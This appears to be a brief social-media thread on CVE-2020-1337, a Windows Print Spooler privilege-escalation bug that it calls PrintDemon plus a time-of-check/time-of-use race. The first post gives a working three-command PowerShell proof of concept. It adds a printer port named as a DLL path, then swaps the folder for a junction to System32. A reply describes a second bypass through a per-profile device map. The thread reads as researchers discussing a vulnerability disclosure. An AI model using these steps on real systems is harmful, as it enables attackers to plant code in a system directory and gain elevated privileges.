CVE-2020-1337 is CVE-2020-1048 (aka PrintDemon) with a TOCTOU. PoC: mkdir C:\test Add-PrinterPort -Name c:\test\ualapi.dll New-Item -Type Junction -Path C:\test -Value C:\Windows\System32
Show this thread
or just use a per profile device map while creating the port- redirecting the path it checks if it can write to while impersonating you. But you are 100% correct the root problem here is TOCTOU
